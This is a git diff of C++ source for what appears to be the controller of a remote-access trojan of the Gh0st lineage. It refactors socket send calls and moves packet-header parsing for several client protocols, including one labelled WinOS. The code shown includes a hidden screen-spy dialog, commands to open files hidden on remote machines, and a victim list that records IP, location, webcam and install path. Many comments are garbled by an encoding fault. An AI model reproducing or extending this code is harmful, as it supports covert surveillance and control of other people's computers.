// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1822,7 +1822,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
dwOffsetLow += dwBytesWrite;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1896,19 +1896,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
||||
void CFileManagerDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_EXCEPTION;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendContinue()
|
||||
{
|
||||
BYTE bBuff = COMMAND_CONTINUE;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendStop()
|
||||
{
|
||||
BYTE bBuff = COMMAND_STOP;
|
||||
m_iocpServer->Send(m_ContextObject, &bBuff, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
@@ -2068,7 +2068,7 @@ void CFileManagerDlg::SendTransferMode()
|
||||
BYTE bToken[5];
|
||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||
m_iocpServer->Send(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, (unsigned char *)&bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendFileData()
|
||||
@@ -2113,7 +2113,7 @@ void CFileManagerDlg::SendFileData()
|
||||
if (nNumberOfBytesRead > 0)
|
||||
{
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
}
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -2192,7 +2192,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
|
||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -2259,7 +2259,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
|
||||
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
|
||||
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
*pResult = 1;
|
||||
@@ -2328,7 +2328,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2342,7 +2342,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
|
||||
@@ -26,8 +26,6 @@ typedef struct
|
||||
|
||||
#define m_Socket sClientSocket
|
||||
|
||||
#define Send OnClientPreSending
|
||||
|
||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -105,7 +103,7 @@ public:
|
||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
|
||||
~CFileManagerDlg()
|
||||
{
|
||||
|
||||
@@ -37,7 +37,7 @@ enum {
|
||||
|
||||
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
|
||||
|
||||
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
||||
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
|
||||
{
|
||||
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
|
||||
|
||||
@@ -29,7 +29,7 @@ class CHideScreenSpyDlg : public DialogBase {
|
||||
enum { IDD = IDD_SCREEN };
|
||||
|
||||
public:
|
||||
CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
virtual ~CHideScreenSpyDlg();
|
||||
|
||||
VOID SendNext(void) {
|
||||
|
||||
@@ -5,35 +5,6 @@
|
||||
#include <iostream>
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
#if USING_LZ4
|
||||
#include "lz4/lz4.h"
|
||||
#pragma comment(lib, "lz4/lz4.lib")
|
||||
#define C_FAILED(p) (0 == (p))
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#else // ZSTD
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define C_FAILED(p) ZSTD_isError(p)
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define ZSTD_CLEVEL 5
|
||||
#if USING_CTX
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
||||
std::string GetPeerName(SOCKET sock) {
|
||||
sockaddr_in ClientAddr = {};
|
||||
@@ -306,7 +277,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
|
||||
m_ulThreadPoolMax = SystemInfo.dwNumberOfProcessors * 2;
|
||||
m_ulCPULowThreadsHold = 10;
|
||||
m_ulCPUHighThreadsHold = 75;
|
||||
m_cpu.Init();
|
||||
|
||||
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
|
||||
|
||||
|
||||
@@ -3,424 +3,95 @@
|
||||
#include "StdAfx.h"
|
||||
#include <WinSock2.h>
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#include "CpuUseage.h"
|
||||
#include "Buffer.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "xxhash.h"
|
||||
#include "Server.h"
|
||||
|
||||
#if USING_CTX
|
||||
#include "zstd/zstd.h"
|
||||
#endif
|
||||
|
||||
#include <Mstcpip.h>
|
||||
#include "common/header.h"
|
||||
#include "common/encrypt.h"
|
||||
#define PACKET_LENGTH 0x2000
|
||||
|
||||
#define NC_CLIENT_CONNECT 0x0001
|
||||
#define NC_RECEIVE 0x0004
|
||||
#define NC_RECEIVE_COMPLETE 0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
std::string GetPeerName(SOCKET sock);
|
||||
std::string GetRemoteIP(SOCKET sock);
|
||||
|
||||
|
||||
enum
|
||||
{
|
||||
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
|
||||
ONLINELIST_ADDR, // <20><>ַ
|
||||
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
|
||||
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
|
||||
ONLINELIST_CPU, // CPU
|
||||
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
|
||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
|
||||
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||
ONLINELIST_MAX,
|
||||
};
|
||||
|
||||
enum {
|
||||
PARSER_WINOS = -2,
|
||||
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
typedef struct PR {
|
||||
int Result;
|
||||
bool IsFailed() const {
|
||||
return PARSER_FAILED == Result;
|
||||
}
|
||||
bool IsNeedMore() const {
|
||||
return PARSER_NEEDMORE == Result;
|
||||
}
|
||||
bool IsWinOSLogin() const {
|
||||
return PARSER_WINOS == Result;
|
||||
}
|
||||
}PR;
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
||||
};
|
||||
|
||||
struct CONTEXT_OBJECT;
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
class HeaderParser {
|
||||
friend struct CONTEXT_OBJECT;
|
||||
protected:
|
||||
HeaderParser() {
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
}
|
||||
virtual ~HeaderParser() {
|
||||
Reset();
|
||||
}
|
||||
PR Parse(CBuffer& buf, int &compressMethod) {
|
||||
const int MinimumCount = MIN_COMLEN;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
}
|
||||
char szPacketFlag[32] = { 0 };
|
||||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||||
HeaderEncType encTyp = HeaderEncUnknown;
|
||||
FlagType flagType = CheckHead(szPacketFlag, encTyp);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
|
||||
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4;
|
||||
int length = *((int*)ptr);
|
||||
int excepted = buf.GetBufferLength();
|
||||
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
|
||||
p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
|
||||
m_nFlagType = FLAG_WINOS;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
memcpy(m_szPacketFlag, p, 10); // ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_nCompareLen = 0;
|
||||
m_nFlagLen = 0;
|
||||
m_nHeaderLen = 14;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new WinOsEncoder();
|
||||
return PR{ PARSER_WINOS };
|
||||
}
|
||||
return PR{ PARSER_FAILED };
|
||||
}
|
||||
if (m_bParsed) { // Check if the header has been parsed.
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
switch (m_nFlagType = flagType)
|
||||
{
|
||||
case FLAG_UNKNOWN:
|
||||
return PR{ PARSER_FAILED };
|
||||
case FLAG_SHINE:
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 5);
|
||||
m_nCompareLen = 5;
|
||||
m_nFlagLen = m_nCompareLen;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new Encoder();
|
||||
break;
|
||||
case FLAG_FUCK:
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = 8;
|
||||
m_nFlagLen = m_nCompareLen + 3;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new XOREncoder();
|
||||
m_Encoder2 = new Encoder();
|
||||
break;
|
||||
case FLAG_HELLO:
|
||||
// This header is only for handling SOCKET_DLLLOADER command
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = 6;
|
||||
m_nFlagLen = 8;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new XOREncoder16();
|
||||
break;
|
||||
case FLAG_HELL:
|
||||
// This version
|
||||
memcpy(m_szPacketFlag, szPacketFlag, 8);
|
||||
m_nCompareLen = FLAG_COMPLEN;
|
||||
m_nFlagLen = FLAG_LENGTH;
|
||||
m_nHeaderLen = m_nFlagLen + 8;
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new Encoder();
|
||||
m_Encoder2 = new XOREncoder16();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return PR{ m_nFlagLen };
|
||||
}
|
||||
BOOL IsEncodeHeader() const {
|
||||
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
|
||||
}
|
||||
HeaderParser& Reset() {
|
||||
SAFE_DELETE(m_Encoder);
|
||||
SAFE_DELETE(m_Encoder2);
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
return *this;
|
||||
}
|
||||
BOOL IsParsed() const {
|
||||
return m_bParsed;
|
||||
}
|
||||
int GetFlagLen() const {
|
||||
return m_nFlagLen;
|
||||
}
|
||||
int GetHeaderLen() const {
|
||||
return m_nHeaderLen;
|
||||
}
|
||||
const char* GetFlag() const {
|
||||
return m_szPacketFlag;
|
||||
}
|
||||
FlagType GetFlagType() const {
|
||||
return m_nFlagType;
|
||||
}
|
||||
Encoder* GetEncoder() const {
|
||||
return m_Encoder;
|
||||
}
|
||||
Encoder* GetEncoder2() const {
|
||||
return m_Encoder2;
|
||||
}
|
||||
private:
|
||||
BOOL m_bParsed; // <20><><EFBFBD>ݰ<EFBFBD><DDB0>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD>
|
||||
int m_nHeaderLen; // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
||||
int m_nCompareLen; // <20>ȶ<EFBFBD><C8B6>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
int m_nFlagLen; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||
FlagType m_nFlagType; // <20><>ʶ<EFBFBD><CAB6><EFBFBD><EFBFBD>
|
||||
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
|
||||
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
|
||||
};
|
||||
|
||||
enum IOType
|
||||
{
|
||||
IOInitialize,
|
||||
IORead,
|
||||
IOWrite,
|
||||
IOIdle
|
||||
};
|
||||
|
||||
typedef struct CONTEXT_OBJECT
|
||||
{
|
||||
CString sClientInfo[ONLINELIST_MAX];
|
||||
CString additonalInfo[RES_MAX];
|
||||
SOCKET sClientSocket;
|
||||
WSABUF wsaInBuf;
|
||||
WSABUF wsaOutBuffer;
|
||||
char szBuffer[PACKET_LENGTH];
|
||||
CBuffer InCompressedBuffer; // <20><><EFBFBD>յ<EFBFBD><D5B5><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer InDeCompressedBuffer; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuffer OutCompressedBuffer;
|
||||
HWND hWnd;
|
||||
HANDLE hDlg;
|
||||
void *olps; // OVERLAPPEDPLUS
|
||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
||||
uint64_t ID; // Ψһ<CEA8><D2BB>ʶ
|
||||
|
||||
BOOL m_bProxyConnected; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||
std::string PeerName; // <20>Զ<EFBFBD>IP
|
||||
|
||||
VOID InitMember(SOCKET s)
|
||||
{
|
||||
memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
|
||||
hWnd = NULL;
|
||||
hDlg = NULL;
|
||||
sClientSocket = s;
|
||||
PeerName = ::GetPeerName(sClientSocket);
|
||||
memset(&wsaInBuf, 0, sizeof(WSABUF));
|
||||
memset(&wsaOutBuffer, 0, sizeof(WSABUF));
|
||||
olps = NULL;
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++) {
|
||||
sClientInfo[i].Empty();
|
||||
}
|
||||
for (int i = 0; i < RES_MAX; i++) {
|
||||
additonalInfo[i].Empty();
|
||||
}
|
||||
CompressMethod = COMPRESS_ZSTD;
|
||||
Parser.Reset();
|
||||
bLogin = FALSE;
|
||||
m_bProxyConnected = FALSE;
|
||||
}
|
||||
VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
|
||||
for (int i = 0; i < ONLINELIST_MAX; i++)
|
||||
{
|
||||
sClientInfo[i] = s[i];
|
||||
}
|
||||
for (int i = 0; i < a.size(); i++) {
|
||||
additonalInfo[i] = a[i].c_str();
|
||||
}
|
||||
}
|
||||
PBYTE GetBuffer(int offset) {
|
||||
return InDeCompressedBuffer.GetBuffer(offset);
|
||||
}
|
||||
ULONG GetBufferLength() {
|
||||
return InDeCompressedBuffer.GetBufferLength();
|
||||
}
|
||||
std::string GetPeerName() const {
|
||||
return PeerName;
|
||||
}
|
||||
CString GetClientData(int index) const{
|
||||
return sClientInfo[index];
|
||||
}
|
||||
void GetAdditionalData(CString(&s)[RES_MAX]) const {
|
||||
for (int i = 0; i < RES_MAX; i++)
|
||||
{
|
||||
s[i] = additonalInfo[i];
|
||||
}
|
||||
}
|
||||
void CancelIO() {
|
||||
SAFE_CANCELIO(sClientSocket);
|
||||
}
|
||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
|
||||
return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
|
||||
}
|
||||
BYTE GetBYTE(int offset) {
|
||||
return InDeCompressedBuffer.GetBYTE(offset);
|
||||
}
|
||||
// Write compressed buffer.
|
||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = dataLen + Parser.GetHeaderLen();
|
||||
BYTE szPacketFlag[32] = {};
|
||||
const int flagLen = Parser.GetFlagLen();
|
||||
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
|
||||
if (Parser.IsEncodeHeader())
|
||||
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
|
||||
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||
memcpy(szPacketFlag, Parser.GetFlag(), 10);
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
|
||||
}else {
|
||||
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
|
||||
}
|
||||
Encode2(data, dataLen, szPacketFlag);
|
||||
OutCompressedBuffer.WriteBuffer(data, dataLen);
|
||||
}
|
||||
}
|
||||
// Read compressed buffer.
|
||||
PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) {
|
||||
if (Parser.IsParsed()) {
|
||||
ULONG totalLen = 0;
|
||||
BYTE szPacketFlag[32] = {};
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
|
||||
if (Parser.GetFlagType() == FLAG_WINOS) {
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
|
||||
} else {
|
||||
InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
|
||||
}
|
||||
dataLen = totalLen - Parser.GetHeaderLen();
|
||||
PBYTE CompressedBuffer = new BYTE[dataLen];
|
||||
InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
|
||||
Decode2(CompressedBuffer, dataLen, szPacketFlag);
|
||||
return CompressedBuffer;
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
|
||||
PR Parse(CBuffer& buf) {
|
||||
return Parser.Parse(buf, CompressMethod);
|
||||
}
|
||||
// Encode data before compress.
|
||||
void Encode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Encode((unsigned char*)data, len);
|
||||
}
|
||||
// Decode data after uncompress.
|
||||
void Decode(PBYTE data, int len) const {
|
||||
Parser.GetEncoder()->Decode((unsigned char*)data, len);
|
||||
}
|
||||
// Encode data after compress.
|
||||
void Encode2(PBYTE data, int len, PBYTE param) const {
|
||||
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
|
||||
}
|
||||
// Decode data before uncompress.
|
||||
void Decode2(PBYTE data, int len, PBYTE param) const {
|
||||
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
|
||||
}
|
||||
std::string RemoteAddr() const {
|
||||
sockaddr_in ClientAddr = {};
|
||||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||||
int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||||
return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||||
}
|
||||
static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
|
||||
int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
|
||||
CString s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += data[idx[i]] + "|";
|
||||
}
|
||||
s.Delete(s.GetLength() - 1);
|
||||
return XXH64(s.GetString(), s.GetLength(), 0);
|
||||
}
|
||||
uint64_t GetID() const { return ID; }
|
||||
void SetID(uint64_t id) { ID = id; }
|
||||
}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
|
||||
|
||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||
|
||||
class IOCPServer
|
||||
{
|
||||
public:
|
||||
SOCKET m_sListenSocket;
|
||||
HANDLE m_hCompletionPort;
|
||||
UINT m_ulMaxConnections; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE m_hListenEvent;
|
||||
HANDLE m_hListenThread;
|
||||
BOOL m_bTimeToKill;
|
||||
HANDLE m_hKillEvent;
|
||||
|
||||
ULONG m_ulThreadPoolMin;
|
||||
ULONG m_ulThreadPoolMax;
|
||||
ULONG m_ulCPULowThreadsHold;
|
||||
ULONG m_ulCPUHighThreadsHold;
|
||||
ULONG m_ulCurrentThread;
|
||||
ULONG m_ulBusyThread;
|
||||
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
#if USING_LZ4
|
||||
#include "lz4/lz4.h"
|
||||
#pragma comment(lib, "lz4/lz4.lib")
|
||||
#define C_FAILED(p) (0 == (p))
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
|
||||
#else // ZSTD
|
||||
#include "zstd/zstd.h"
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib, "zstd/zstd_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib, "zstd/zstd.lib")
|
||||
#endif
|
||||
#define C_FAILED(p) ZSTD_isError(p)
|
||||
#define C_SUCCESS(p) (!C_FAILED(p))
|
||||
#define ZSTD_CLEVEL 5
|
||||
